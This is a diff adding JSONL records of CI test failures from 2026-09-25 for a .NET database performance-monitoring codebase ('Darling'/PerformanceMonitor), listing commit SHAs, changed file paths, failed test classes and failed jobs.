+{"date":"2026-09-25","head_sha":"056523f02308cc435c8d9c9991757d13d3e3e872","event":"push","changed_files":["Darling/Darling.Tests/AnomalyObjectStatsLatestSnapshotsLiveTests.cs","Darling/Darling.Tests/CollectionCaveatsRungTests.cs","Darling/Darling.Tests/IndexObjectStatsServerTimeIndexRungTests.cs","Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/Darling.Tests/ViewerCollectionCaveatsTests.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.PgTargetBlockingTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"5b9486a0ea03068a45eb8a2b5878c9599674aaca","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingWebHostGateLiveTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/Darling.Tests/WebFetchLayerTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/app.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/views.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js"],"failed_classes":["Darling.Tests.WebFetchLayerTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (0)","build"]}
+{"date":"2026-09-25","head_sha":"209c58c87202f9baec11b90e3b6fbbcacfffcd89","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorRunnerConnectionEngineTests.cs","Darling/Darling.Tests/DarlingAnalysisServiceEngineRoutingTests.cs","Darling/Darling.Tests/McpToolGuideHeads.PgA.cs","Darling/Darling.Tests/McpToolGuideHeads.QsRegressions.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPgCpuUtilizationTools.txt","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreRegressionTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/PgTargetBetweenWavesV3Tests.cs","Darling/Darling.Tests/PgTargetMcpSurfaceTests.cs","Darling/Darling.Tests/ViewerQueriesTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryStoreRegressionReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgCpuUtilizationReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreRegressions.cs","Lite.Tests/McpToolGuideHeads.QsRegressions.cs","Lite.Tests/McpToolsListBudget/McpQueryTools.txt","Lite.Tests/QueryStoreRegressionsToolTests.cs","Lite/Analysis/AnalysisService.cs","Lite/Analysis/DuckDbFactCollector.cs","Lite/Mcp/McpAnalysisTools.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryStoreRegressions.cs","PerformanceMonitor.Common/Mcp/TrendBuckets.cs"],"failed_classes":["Darling.Tests.DarlingQueryStoreRegressionsLiveTests","Darling.Tests.PgTargetAuditConfigTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"a12e72ff28a0ad8795853cb0473f6119c8552836","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCustomViewsTests.cs","Darling/Darling.Tests/McpFleetResponseBudgetLivePostgresTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDataTools.txt","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFleetTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFleetTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Lite.Tests/CollectionLogFleetFormToolTests.cs","Lite.Tests/McpToolsListBudget/McpHealthTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite/Mcp/McpHealthTools.cs","Lite/Mcp/McpHostService.cs","Lite/Services/LocalDataService.CollectionHealth.cs","PerformanceMonitor.Common/Mcp/McpResponseBudget.cs"],"failed_classes":["Darling.Tests.McpFleetResponseBudgetLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"3fe9f11bd58c18735e57d627c054fcc08b2ca0f7","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorRunnerConnectionEngineTests.cs","Darling/Darling.Tests/DarlingAnalysisServiceEngineRoutingTests.cs","Darling/Darling.Tests/DarlingQueryStoreRegressionsTests.cs","Darling/Darling.Tests/McpToolGuideHeads.PgA.cs","Darling/Darling.Tests/McpToolGuideHeads.QsRegressions.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPgCpuUtilizationTools.txt","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreRegressionTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/PgTargetBetweenWavesV3Tests.cs","Darling/Darling.Tests/PgTargetMcpSurfaceTests.cs","Darling/Darling.Tests/TrendPayloadBudgetLiveTests.cs","Darling/Darling.Tests/ViewerQueriesTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryStoreRegressionReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgCpuUtilizationReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreRegressions.cs","Lite.Tests/McpToolGuideHeads.QsRegressions.cs","Lite.Tests/McpToolsListBudget/McpQueryTools.txt","Lite.Tests/QueryStoreRegressionsToolTests.cs","Lite/Analysis/AnalysisService.cs","Lite/Analysis/DuckDbFactCollector.cs","Lite/Mcp/McpAnalysisTools.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryStoreRegressions.cs","PerformanceMonitor.Common/Mcp/TrendBuckets.cs"],"failed_classes":["Darling.Tests.PgTargetAuditConfigTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"cdc50a6af87bc64b8d2aab0d5b179bc2ed294ca3","event":"pull_request","changed_files":["Darling/Darling.Tests/EventWindowedReadsCarryTheFloorTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingTrendReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDefaultTraceReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSystemHealthReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Blocking.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SystemEvents.cs"],"failed_classes":["Darling.Tests.ViewerMemorySqlTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-25","head_sha":"e96652de96310cabffa1e50a30b5f24e70651d79","event":"pull_request","changed_files":["Darling/Darling.Tests/FreshStoreWatermarkTests.cs","Darling/Darling.Tests/OverviewCollectionHealthRollupRoutingTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Storage/CollectionHealthRollupSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.ServerManagement.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs"],"failed_classes":["Darling.Tests.PgTargetBlockingTests","Darling.Tests.ViewerW2aLivePostgresTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"3f02b9209412dd59425de092a7d220362fdd30eb","event":"push","changed_files":["Darling/Darling.Tests/DarlingWebHostGateLiveTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/Darling.Tests/WebFetchLayerTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/app.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/views.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js"],"failed_classes":["Darling.Tests.PgTargetBlockingTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"1038b642ab74798a7f505a824ea94cade1a2c1a2","event":"pull_request","changed_files":["Darling/Darling.Tests/FreshStoreWatermarkTests.cs","Darling/Darling.Tests/OverviewCollectionHealthRollupRoutingTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Storage/CollectionHealthRollupSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.ServerManagement.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml.cs"],"failed_classes":["Darling.Tests.ViewerW2aLivePostgresTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"7eefba3376903fbe5ebbf0a53cea4fe6a5e15dc5","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorRunnerConnectionEngineTests.cs","Darling/Darling.Tests/DarlingAnalysisServiceEngineRoutingTests.cs","Darling/Darling.Tests/DarlingQueryStoreRegressionsTests.cs","Darling/Darling.Tests/McpToolGuideHeads.PgA.cs","Darling/Darling.Tests/McpToolGuideHeads.QsRegressions.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPgCpuUtilizationTools.txt","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreRegressionTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/PgTargetBetweenWavesV3Tests.cs","Darling/Darling.Tests/PgTargetMcpSurfaceTests.cs","Darling/Darling.Tests/TrendPayloadBudgetLiveTests.cs","Darling/Darling.Tests/ViewerQueriesTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryStoreRegressionReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgCpuUtilizationReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreRegressions.cs","Lite.Tests/McpToolGuideHeads.QsRegressions.cs","Lite.Tests/McpToolsListBudget/McpQueryTools.txt","Lite.Tests/QueryStoreRegressionsToolTests.cs","Lite/Analysis/AnalysisService.cs","Lite/Analysis/DuckDbFactCollector.cs","Lite/Mcp/McpAnalysisTools.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryStoreRegressions.cs","PerformanceMonitor.Common/Mcp/TrendBuckets.cs"],"failed_classes":["Darling.Tests.AnalysisFactsReadRunsDetectorParityTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-25","head_sha":"3cb7665ad83d101737b47cbbaac20b7261059d27","event":"pull_request","changed_files":["Darling/Darling.Tests/RetentionTierRouterTests.cs","Darling/Darling.Tests/ViewerFinOpsTests.cs","Darling/Darling.Tests/ViewerFleetTimerFanOutPositionTests.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Storage.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Workload.cs"],"failed_classes":["Darling.Tests.RollupCoverageRoutingTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-09-25","head_sha":"be157a6d8866aeea321b6a6909eff84265736c4f","event":"pull_request","changed_files":["Darling/Darling.Tests/ServerInventoryFleetMetricsTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Inventory.cs"],"failed_classes":["Darling.Tests.ViewerCommandTimeoutTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"78450e6cfde3cc9e65014b97b2f7370874f6b8cf","event":"pull_request","changed_files":["Darling/Darling.Tests/FleetCollectionHealthByServerLiveEqualityTests.cs","Darling/Darling.Tests/FreshStoreWatermarkTests.cs","Darling/Darling.Tests/OverviewCollectionHealthRollupRoutingTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Storage/CollectionHealthRollupSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.ServerManagement.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml.cs","Lite.Tests/PermissionDeniedBadgeMemoTests.cs","Lite/Services/LocalDataService.CollectionHealth.cs"],"failed_classes":["Darling.Tests.ViewerW2aLivePostgresTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"479aab4000d65569d9074485006a6c4aaffb33f7","event":"pull_request","changed_files":["Darling/Darling.Tests/FinOpsMergedReadsLiveTests.cs","Darling/Darling.Tests/RetentionTierRouterTests.cs","Darling/Darling.Tests/ViewerFinOpsTests.cs","Darling/Darling.Tests/ViewerFleetTimerFanOutPositionTests.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Storage.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Workload.cs"],"failed_classes":["Darling.Tests.RollupCoverageRoutingTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"6223c4f0b6203e6ac6ce0b710dcb67935d3bf5b2","event":"pull_request","changed_files":["Darling/Darling.Tests/ServerInventoryFleetMetricsLiveTests.cs","Darling/Darling.Tests/ServerInventoryFleetMetricsTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Inventory.cs"],"failed_classes":["Darling.Tests.ViewerCommandTimeoutTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"f84ea5dee6d6fe4969656be5631dbc4538c6b90a","event":"pull_request","changed_files":["Darling/Darling.Tests/McpReadToolBudgetLiveTests.cs"],"failed_classes":["Darling.Tests.McpReadToolBudgetLiveTests","Darling.Tests.PgTargetBlockingTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"b8aff1c3bb0760fcc821dd75aad6d70101b03f2a","event":"pull_request","changed_files":["Darling/Darling.Tests/FinOpsMergedReadsLiveTests.cs","Darling/Darling.Tests/RetentionTierRouterTests.cs","Darling/Darling.Tests/ViewerFinOpsTests.cs","Darling/Darling.Tests/ViewerFleetTimerFanOutPositionTests.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Storage.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Workload.cs"],"failed_classes":["Darling.Tests.RollupCoverageRoutingTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"692cbb337a5fd5ed044dd862d28cae0b9a8aabf5","event":"pull_request","changed_files":["Darling/Darling.Tests/FleetCollectionHealthByServerLiveEqualityTests.cs","Darling/Darling.Tests/FreshStoreWatermarkTests.cs","Darling/Darling.Tests/OverviewCollectionHealthRollupRoutingTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Storage/CollectionHealthRollupSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.ServerManagement.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml.cs","Lite.Tests/PermissionDeniedBadgeMemoTests.cs","Lite/Services/LocalDataService.CollectionHealth.cs"],"failed_classes":["Darling.Tests.PgTargetAnomalyTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"fc12b2248e9e233e20eb678f86fa5a259b798ed5","event":"pull_request","changed_files":["Darling/Darling.Tests/AvailabilityGroupCountReadTests.cs","Darling/Darling.Tests/DarlingWebHostGateLiveTests.cs","Darling/Darling.Tests/DarlingWebResponseCompressionTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAgReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/app.js"],"failed_classes":["Darling.Tests.DarlingWebResponseCompressionTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"80fa0748bd0ae617c4551844bfb42e1eb632415b","event":"pull_request","changed_files":["Darling/Darling.Tests/AnalysisFactsReadRunsDetectorParityTests.cs","Darling/Darling.Tests/CollectorRunnerConnectionEngineTests.cs","Darling/Darling.Tests/DarlingAnalysisServiceEngineRoutingTests.cs","Darling/Darling.Tests/DarlingQueryStoreRegressionsTests.cs","Darling/Darling.Tests/McpToolGuideHeads.PgA.cs","Darling/Darling.Tests/McpToolGuideHeads.QsRegressions.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPgCpuUtilizationTools.txt","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreRegressionTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/PgTargetBetweenWavesV3Tests.cs","Darling/Darling.Tests/PgTargetMcpSurfaceTests.cs","Darling/Darling.Tests/TrendPayloadBudgetLiveTests.cs","Darling/Darling.Tests/ViewerQueriesTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryStoreRegressionReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgCpuUtilizationReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreRegressions.cs","Lite.Tests/McpToolGuideHeads.QsRegressions.cs","Lite.Tests/McpToolsListBudget/McpQueryTools.txt","Lite.Tests/QueryStoreRegressionsToolTests.cs","Lite/Analysis/AnalysisService.cs","Lite/Analysis/DuckDbFactCollector.cs","Lite/Mcp/McpAnalysisTools.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryStoreRegressions.cs","PerformanceMonitor.Common/Mcp/TrendBuckets.cs"],"failed_classes":["Darling.Tests.McpToolsListBudgetTests","Darling.Tests.PgTargetBlockingTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"43aba6068f8b417e44ff734cc07993ab999e2a6c","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionCaveatsRungTests.cs","Darling/Darling.Tests/DarlingAnalysisPipelineTests.cs","Darling/Darling.Tests/ForcePlanBotPolicyTests.cs","Darling/Darling.Tests/PgFactCollectorTests.cs","Darling/Darling.Tests/PlanRegressionIntervalTableEquivalenceTests.cs","Darling/Darling.Tests/PlanRegressionReadShapeTests.cs","Darling/Darling.Tests/PostmasterStartTimeRungTests.cs","Darling/Darling.Tests/QueryStoreIntervalLatestRungTests.cs","Darling/Darling.Tests/QueryStoreIntervalLatestWriterTests.cs","Darling/Darling.Tests/ViewerCollectionCaveatsTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Queries.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.QueryPerf.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalLatest.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Lite/Analysis/DrillDownCollector.Queries.cs","Lite/Analysis/DuckDbFactCollector.QueryPerf.cs","PerformanceMonitor.Analysis/AnalysisContext.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Analysis/FactRemediation.cs","PerformanceMonitor.Analysis/ForcePlanBotPolicy.cs","PerformanceMonitor.Analysis/RemediationAction.cs","PerformanceMonitor.Collectors/CollectorContext.cs"],"failed_classes":["Darling.Tests.IndexObjectStatsServerTimeIndexRungTests","Darling.Tests.QueryStoreIntervalLatestRungTests"],"failed_jobs":["Darling PG tests (0)","build","Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"731512799e340b31b29316f793a4f3ffe304e413","event":"push","changed_files":["Darling/Darling.Tests/CollectionCaveatsRungTests.cs","Darling/Darling.Tests/DarlingAnalysisPipelineTests.cs","Darling/Darling.Tests/ForcePlanBotPolicyTests.cs","Darling/Darling.Tests/IndexObjectStatsServerTimeIndexRungTests.cs","Darling/Darling.Tests/PgFactCollectorTests.cs","Darling/Darling.Tests/PlanRegressionIntervalTableEquivalenceTests.cs","Darling/Darling.Tests/PlanRegressionReadShapeTests.cs","Darling/Darling.Tests/PostmasterStartTimeRungTests.cs","Darling/Darling.Tests/QueryStoreIntervalLatestRungTests.cs","Darling/Darling.Tests/QueryStoreIntervalLatestWriterTests.cs","Darling/Darling.Tests/ViewerCollectionCaveatsTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Queries.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.QueryPerf.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalLatest.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Lite/Analysis/DrillDownCollector.Queries.cs","Lite/Analysis/DuckDbFactCollector.QueryPerf.cs","PerformanceMonitor.Analysis/AnalysisContext.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Analysis/FactRemediation.cs","PerformanceMonitor.Analysis/ForcePlanBotPolicy.cs","PerformanceMonitor.Analysis/RemediationAction.cs","PerformanceMonitor.Collectors/CollectorContext.cs"],"failed_classes":["Darling.Tests.PgTargetBlockingTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"a91c85be55e83c4e844506f65e8a568ed30dbf56","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpObjectStatsToolsTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpObjectStatsTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/ObjectLockingBudgetLiveTests.cs","Darling/Darling.Tests/ObjectLockingWebDefaultTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs","Lite.Tests/McpToolsListBudget/McpObjectStatsTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/ObjectLockingBudgetTests.cs","Lite/Mcp/McpObjectStatsTools.cs"],"failed_classes":["Darling.Tests.PgTargetAnomalyTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"f421016dd70f658739a10087aa87cfb9069f9430","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingQueryHeatmapBudgetLiveTests.cs","Darling/Darling.Tests/DarlingQueryHeatmapTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryHeatmapTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryHeatmapReader.cs","Lite.Tests/McpToolsListBudget/McpQueryTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/QueryHeatmapBudgetTests.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryHeatmap.cs"],"failed_classes":["Darling.Tests.PgTargetAnomalyTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"857988aca48247d128673e5c35739f0b865a8754","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpActiveQueriesBudgetLiveTests.cs","Darling/Darling.Tests/DarlingMcpSessionToolsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpSessionTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs","Lite.Tests/McpPageContractTests.cs","Lite.Tests/McpToolsListBudget/McpSessionTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite/Mcp/McpSessionTools.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PG tests (1)"]}
